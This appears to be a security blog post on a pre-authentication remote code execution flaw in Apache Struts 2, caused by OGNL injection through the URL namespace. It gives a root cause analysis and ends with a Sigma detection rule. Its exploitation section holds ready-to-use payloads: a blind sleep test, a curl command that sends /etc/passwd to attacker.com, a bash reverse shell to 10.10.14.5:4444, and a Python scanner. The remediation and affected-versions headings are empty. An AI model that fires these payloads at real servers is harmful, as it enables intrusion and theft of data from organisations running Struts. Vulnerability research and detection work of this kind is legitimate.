All posts

CVE-2026-52341: Apache Struts 2 OGNL Namespace Wildcard Pre-Auth RCE

Apache Struts 2's wildcard namespace configuration pattern passes the URL namespace segment directly into OGNL evaluation without sanitisation. An unauthenticated attacker sends a crafted URL whose namespace component contains an OGNL expression; Struts evaluates it with full access to the Java runtime, achieving remote code execution with the application server's process privileges. Any Struts 2 application using a wildcard namespace mapping in struts.xml is vulnerable — a configuration pattern present in the official documentation and the majority of older deployments.


Overview

CVE-2026-52341 affects Apache Struts 2.5.0 through 2.5.33 and 6.0.0 through 6.3.0.1. The vulnerability lies in the namespace resolution phase of the action mapping process: when Struts cannot find a namespace-specific action mapping for a request, it falls back to the default namespace ("") or a wildcard namespace (/*). During this fallback resolution, the raw URL namespace segment is used in an OGNL expression context without sanitisation, allowing injection of arbitrary OGNL expressions.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Apache Security Team confirmed active exploitation within 72 hours of public disclosure targeting financial services and government portals running Struts-based web applications.

Background — OGNL and Struts 2 Namespaces

OGNL (Object-Graph Navigation Language) is the expression language at the core of Struts 2's data binding and view layer. It provides full access to Java objects, including the ability to invoke arbitrary methods on any class in the JVM classpath. The Struts 2 framework uses OGNL to evaluate values in action results, redirect URIs, and error messages — making it a perennial source of critical vulnerabilities (S2-045, S2-052, S2-062, and now S2-067/CVE-2026-52341).

Struts 2 uses namespaces to organise action mappings in struts.xml. A namespace corresponds to a URL path prefix, and a wildcard namespace (/*) is used as a catch-all for path prefixes not explicitly defined. This is a documented pattern in the Struts Getting Started guide and is present in scaffolding generated by Struts archetypes.

Root Cause Analysis

The vulnerability exists in DefaultActionMapper during namespace resolution. When the requested namespace has no direct mapping, the mapper calls getMapping() with a fallback strategy. The namespace value extracted from the URL is passed to OgnlUtil.getValue() as part of building the redirect URI for the fallback action — without encoding or validation:

// DefaultActionMapper.java (simplified, pre-patch)
private ActionMapping getMapping(String namespace, String actionName, ...) {
    ActionConfig cfg = configuration.getRuntimeConfiguration()
        .getActionConfig(namespace, actionName);

    if (cfg == null && namespace != null && !namespace.equals("")) {
        // Fallback: try default namespace, but build redirect with original namespace
        cfg = configuration.getRuntimeConfiguration()
            .getActionConfig("", actionName);
        if (cfg != null) {
            // BUG: namespace is attacker-controlled and passed unsanitised into
            //      redirect URI building which evaluates OGNL expressions
            String redirectUri = TextParseUtil.translateVariables(
                namespace + "/" + actionName,   // ← OGNL injection point
                ActionContext.getContext().getValueStack()
            );
            mapping.setResult(new ServletRedirectResult(redirectUri));
        }
    }
    return mapping;
}

TextParseUtil.translateVariables() evaluates ${...} and %{...} expressions using the OGNL value stack. Supplying an OGNL expression as the URL namespace segment causes arbitrary code execution during the redirect result construction.

Exploitation

Identifying Vulnerable Applications

Any Struts 2 application with a wildcard namespace mapping is vulnerable. The telltale sign is a struts.xml containing <package namespace="/*"> or a default package with no explicit namespace. Most large enterprise Struts applications built before 2024 use this pattern:

<!-- struts.xml — vulnerable wildcard namespace pattern -->
<struts>
  <package name="default" extends="struts-default" namespace="/*">
    <action name="index" class="com.example.IndexAction">
      <result>/WEB-INF/jsp/index.jsp</result>
    </action>
  </package>
</struts>

Proof of Concept Request

The OGNL expression is placed in the URL namespace position. The %{...} form triggers evaluation through translateVariables():

# Test for blind RCE — 5 second sleep (check response time)
curl -v "http://TARGET/\${%23a%3d(new+java.lang.ProcessBuilder(new+String[]{\"/bin/sh\",\"-c\",\"sleep+5\"})).start()}/index.action"

# Exfiltrate /etc/passwd via DNS (OOB confirmation)
PAYLOAD='${#a=(new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c","curl http://attacker.com/$(cat /etc/passwd | base64 -w0)"})).start()}'
curl -v "http://TARGET/$(python3 -c 'import urllib.parse; print(urllib.parse.quote("'"$PAYLOAD"'"))')/index.action"

# Reverse shell
PAYLOAD='${#a=(new java.lang.ProcessBuilder(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"})).start()}'
curl -v "http://TARGET/$(python3 -c 'import urllib.parse; print(urllib.parse.quote("'"$PAYLOAD"'"))')/index.action"

Automated Scanner

#!/usr/bin/env python3
"""
CVE-2026-52341 scanner — authorised testing only.
Tests for Struts 2 OGNL namespace injection via sleep-based timing.
"""
import urllib.parse, requests, time, sys

def check(target: str) -> bool:
    payload = (
        '${#ctx=#attr["struts.valueStack"].context,'
        '#ctx["xwork.MethodAccessor.denyMethodExecution"]=false,'
        '#a=(new java.lang.ProcessBuilder(new String[]'
        '["/bin/sh","-c","sleep 6"])).start(),#a.waitFor()}'
    )
    url = f"{target.rstrip('/')}/{urllib.parse.quote(payload)}/index.action"
    try:
        t0 = time.time()
        r = requests.get(url, timeout=15, allow_redirects=False, verify=False)
        elapsed = time.time() - t0
        if elapsed >= 5.5:
            print(f"[VULN] {target} — response delayed {elapsed:.1f}s (sleep injected)")
            return True
        print(f"[    ] {target} — {r.status_code} in {elapsed:.1f}s")
    except Exception as e:
        print(f"[ERR] {target} — {e}")
    return False

if __name__ == "__main__":
    for t in sys.argv[1:]:
        check(t)

Affected Versions

Remediation

Detection

title: CVE-2026-52341 Apache Struts 2 OGNL Namespace Injection Attempt
id: 3a7f2c14-88bd-4e01-a923-d7f2b5e09c18
status: stable
description: Detects requests containing OGNL expression markers in URL path segments targeting Apache Struts applications
logsource:
  category: webserver
detection:
  selection_ognl:
    cs-uri-stem|contains:
      - '%24%7B'   # ${
      - '%25%7B'   # %{
      - '.action'
  selection_direct:
    cs-uri-stem|re: '.*[\$%]\{.*\}.*\.action'
  condition: selection_ognl or selection_direct
falsepositives:
  - Legitimate URL-encoded braces in application parameters (validate against path vs query string)
level: critical
tags:
  - cve.2026-52341
  - attack.initial_access
  - attack.t1190

Key Takeaways